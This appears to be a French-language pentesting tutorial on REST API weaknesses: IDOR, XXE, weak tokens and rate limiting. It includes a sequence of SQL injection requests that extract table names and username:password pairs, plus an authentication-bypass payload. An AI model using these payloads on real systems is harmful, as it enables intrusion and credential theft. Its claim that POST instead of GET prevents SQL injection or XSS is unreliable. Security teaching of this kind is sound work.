Une application utilisant une API REST est une application qui utilise un protocole de communication basé sur HTTP pour accéder à des services web et échanger des données avec d’autres applications ou services. REST (Representational State Transfer) est un style d’architecture logicielle qui permet à différentes applications de communiquer entre elles en utilisant un ensemble standardisé de méthodes HTTP (GET, POST, PUT, DELETE, etc.) pour accéder à des ressources et manipuler des données. Les API REST sont de plus en plus courantes dans le développement d’applications modernes, car elles offrent une grande flexibilité et permettent une intégration facile avec d’autres applications et services.
Les principes d’une application utilisant la structure API rest ont été décrits par Roy Fielding dans ce texte.
Méthode utilisée par les serveurs
- GET
- POST
- PUT
- PATCH
- DELETE
Implication possible d’un changement de méthode HTTP
Lorsqu’une application PHP utilise une API REST pour communiquer avec d’autres services, le choix de la méthode HTTP peut avoir une incidence sur la sécurité de l’application. Par exemple, l’utilisation de la méthode GET pour les opérations de modification de données expose l’application à des attaques telles que l’injection de commande SQL ou le vol de données.
Voici un exemple de code pour illustrer cela. Supposons que nous avons une application PHP qui communique avec une API REST pour obtenir les informations de profil d’un utilisateur à partir de son identifiant:
Dans cet exemple, nous utilisons la méthode GET pour récupérer les informations de profil de l’utilisateur à partir de l’API REST. Cependant, cette méthode est vulnérable aux attaques de type injection de commande SQL ou cross-site scripting (XSS), car l’identifiant de l’utilisateur est récupéré directement à partir de la requête GET et peut être modifié par un attaquant malveillant.
Pour rendre cette requête plus sûre, nous pourrions utiliser la méthode POST ou PUT pour envoyer l’identifiant de l’utilisateur dans le corps de la requête plutôt que dans l’URL:
Dans cet exemple, nous utilisons la méthode POST pour envoyer l’identifiant de l’utilisateur dans le corps de la requête, ce qui permet de valider et de filtrer les données avant de les envoyer à l’API REST, ce qui renforce la sécurité de l’application.
Vous pouvez donc essayer de modifier comment la requête est envoyée au serveur. Possiblement qu’un code différent sera exécuté (possibilité d’une faille)
Types de médias
Les différents types de médias. Les requêtes ou les résultats sont formés de cette façon. JSON et XML sont les plus utilisés
- Application/json
- Application/xml
Vous pouvez essayer de modifier le fromat des données envoyé au serveur. (paramètre format dans une requête get, entête http Content-Type)
Les codes de résultat retournés par un serveur.
Vous pouvez avoir la liste complète des codes HTTP ici
- 2XX
- 3XX
- 4XX
- 5XX
Méthode par vulnérabilité XXE (Application/xml)
voir mon article XXE – Si XML est utilisé par le serveur. Déficience dans le traitement du XML
Insecure Direct Object References (IDOR) dans un API rest.
La vulnérabilité IDOR (Insecure Direct Object Reference) est une faille de sécurité courante qui se produit lorsque les identifiants d’objet, tels que les identifiants de base de données, sont exposés dans les entrées utilisateur et ne sont pas correctement vérifiés ou filtrés par l’application Web.
L’exploitation de cette vulnérabilité permet à un attaquant de contourner les contrôles d’accès et d’accéder à des ressources ou des informations qui ne lui sont pas autorisées. Par exemple, si un identifiant de compte utilisateur est exposé dans une URL et qu’il n’est pas vérifié, un attaquant peut accéder aux informations du compte de l’utilisateur sans autorisation.
Pour prévenir l’exploitation de cette vulnérabilité, il est recommandé de limiter l’accès direct aux objets de données, en utilisant des contrôles d’accès stricts et en utilisant des méthodes d’authentification et d’autorisation solides. Les entrées utilisateur doivent également être validées et filtrées correctement pour éviter toute injection de code malveillant.
Les développeurs peuvent également utiliser des techniques telles que l’obscurcissement des identifiants d’objet et l’utilisation de jetons d’autorisation pour renforcer la sécurité de leur application Web.
En conclusion, la vulnérabilité IDOR est une faille de sécurité courante qui peut permettre à un attaquant d’accéder à des ressources ou des informations non autorisées. Pour se protéger contre cette vulnérabilité, il est recommandé de limiter l’accès direct aux objets de données, de mettre en place des contrôles d’accès solides et de valider correctement les entrées utilisateur.
Exemple de vulnérabilité IDOR dans un API rest
Supposons qu’une application Web permet aux utilisateurs d’accéder à des informations confidentielles en saisissant un identifiant de compte utilisateur. Le lien pour accéder à ces informations est de la forme suivante :
https://example.com/account?id=12345
Dans ce cas, l’identifiant de compte utilisateur est directement exposé dans l’URL et peut être facilement modifié par un attaquant pour accéder à d’autres comptes utilisateur.
Supposons maintenant qu’un attaquant modifie simplement l’identifiant de compte dans l’URL pour accéder aux informations d’un autre utilisateur. Par exemple, si l’identifiant de compte de l’utilisateur est 12345, l’attaquant peut accéder aux informations d’un autre utilisateur en modifiant simplement l’identifiant dans l’URL, comme suit :
https://example.com/account?id=54321
Si l’application Web ne vérifie pas l’autorisation de l’utilisateur à accéder aux informations du compte spécifié, l’attaquant peut accéder aux informations confidentielles d’autres utilisateurs en exploitant cette vulnérabilité IDOR.
Pour éviter cette vulnérabilité, l’application Web doit mettre en place des contrôles d’accès stricts pour limiter l’accès direct aux objets de données, ainsi que valider et filtrer correctement les entrées utilisateur pour empêcher toute modification non autorisée des identifiants de compte.
Méthode par injection SQL dans un API rest
GET /v1/users.php?format=json&token=invalid_token’+or+’1’=’1
déterminer le nombre de colonnes de la tables
GET /v1/users.php?format=json&token=invalid_token’+order+by+6–+ extraire les données
GET /v1/users.php?format=json&token=432847328947′ union+select+1,database(),3,4,5–+
autres fonctions: version()
GET /v1/users.php?format=json&token=432432432′ union+select+1,group_concat(table_name),3,4,5+from+information_schema.tables–+ HTTP/1.1
GET /v1/users.php?format=json&token=432432432′ union+select+1,group_concat(table_name),3,4,5+from+information_schema.tables+where+table_schema=database()–+ HTTP/1.1
GET /v1/users.php?format=json&token=438247432′ union+select+1,group_concat(column_name),3,4,5+from+information_schema.columns+where+table_name=’user’+and+table_scheme=database()–+ HTTP/1.1
GET /v1/users.php?format=json&token=45345345′ union+select+1,group_concat(username,0x3a,password),3,4,5+from+user–+ HTTP/1.1
Éviter les injections SQL en php
utiliser des PREPARED Statement en PHP pour éviter les injections SQL les paramètres passés par GET ne sont pas sécuritaires, car ils sont enregistrés dans les logs du serveur et dans l’historique des pages visitées des navigateurs
Faiblesse dans la génération des tokens
S’il est possible de générer un token d’identification, alors on peut usurper l’identité de quelqu’un d’autre
Mécanisme d’authentification problématique
GET /v1/users.php?format=json&username=test’+or+’1’=’1′–+&password=test
Problème avec la limitation du nombre de requêtes par seconde de l’API
Cela peut entraîner une attaque par défini ou encore par force brute pour trouver des mots de passe. L’Implantation des capchas est recommandé ainsi que le blocage du compte après un nombre trop grand d’essais.
Attaque par force brute : utilisation de la fonction “intruder” dans BURP
Résumé
Changer GET par d’autres méthodes HTTP (DELETE, POST, etc…)
Quand l’application utiliste JSON, essayer de changer les données en XML et de mettre à jour l’entête content-type
application/json -> application/xml (par la suite, voir la partie sur les vulnérabilités XXE ci-haut)
API Security Project
https://www.owasp.org/index.php/OWASP_API_Security_Project
